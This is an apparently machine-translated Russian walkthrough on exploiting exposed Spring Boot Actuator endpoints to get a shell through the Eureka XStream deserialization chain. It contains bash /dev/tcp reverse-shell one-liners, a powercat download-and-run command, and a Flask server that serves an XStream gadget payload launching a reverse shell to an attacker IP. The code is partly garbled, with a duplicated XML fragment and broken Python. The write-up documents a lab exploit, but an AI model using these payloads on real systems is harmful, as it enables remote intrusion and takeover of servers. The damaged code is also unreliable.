Оглавление
1. Что такое несанкционированный доступ?
В-третьих, как обнаружить уязвимости?
1. Получите все атрибуты среды, обратившись к env.
2. Предоставьте базовую информацию об отслеживании HTTP-запросов через /trace.
3. Используйте десериализацию для getshell
3. Используйте bp, чтобы получить пакет /env.
Под уязвимостями несанкционированного доступа можно понимать адреса, требующие настройки безопасности или аутентификации разрешений.、Недостаток на странице авторизации позволяет другим пользователям получить к ней прямой доступ, что приводит к манипулированию важными разрешениями.、Утечка конфиденциальной информации, такой как база данных или веб-сайт Оглавление
Spring Boot по сути является расширением среды Spring. Actuator — это функциональный модуль, предоставляемый Springboot для самоанализа и мониторинга прикладных систем. С помощью Actuator разработчики могут легко просматривать и собирать статистику по определенным показателям мониторинга прикладных систем. Когда Actuator включен, если соответствующие разрешения не контролируются, незаконные пользователи могут получить информацию мониторинга в системе приложений, получив доступ к конечным точкам исполнительного механизма по умолчанию (конечным точкам).
1. Платформой, используемой для анализа веб-приложения, является среда Springboot.
2. Если разработчик веб-приложения не изменяет значок Springboot Web по умолчанию
3.Если значок по умолчанию изменен, мы получаем доступ к обновлению Веб-страница сообщает об ошибке для анализа. web Разработчик приложения не внес изменений springboot web применено по умолчанию 4xx、5xx страница ошибки, затем, когда web Приложение появляется 4xx、5xx При возникновении ошибки будет сообщено об ошибке, как показано на рисунке ниже.
Целевая машина: Centos7+springboot IP-адрес: 10.1.1.137:8090
Атакующая машина: Kali IP-адрес: 10.1.1.135
Требуются следующие два пакета (среда уже установлена)
Spring-boot-starter-actuator (требуется /refresh обновить конфигурацию)
Spring-cloud-starter-netflix-eureka-client (функциональная зависимость)
Использование скрипта
# оболочка восстановления Linux bash -i >& /dev/tcp/192.168.20.82/9999 0>&1
# оболочка восстановления Windows
# <string>powershell</string>
# <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>
# <string>powercat -c 192.168.123.1 -p 2333 -e cmd</string>
from flask import Flask,Response
app =Flask(_name_)
@app.route('/xstream', defaults={ ''})
@app.route('/xstream/<path:path>')
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Date">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/139.9.198.30/1234 0>&1</string> //IP атакующей машины
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=2333)
Используйте сценарий запуска для службы
Обратите внимание, что IP-адрес в сценарии меняется на ваш собственный IP-адрес и открывается порт прослушивания.
eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream
Нажмите вперед, чтобы отправить запрос
При доступе к /refresh по-прежнему отображается страница с ошибкой. Мы фиксируем это
Мы изменим это на почтовый запрос, и пакет данных можно будет вводить случайным образом.
Посмотрев на прослушиваемый порт, мы видим, что оболочка создана и воспроизведение прошло успешно! ! !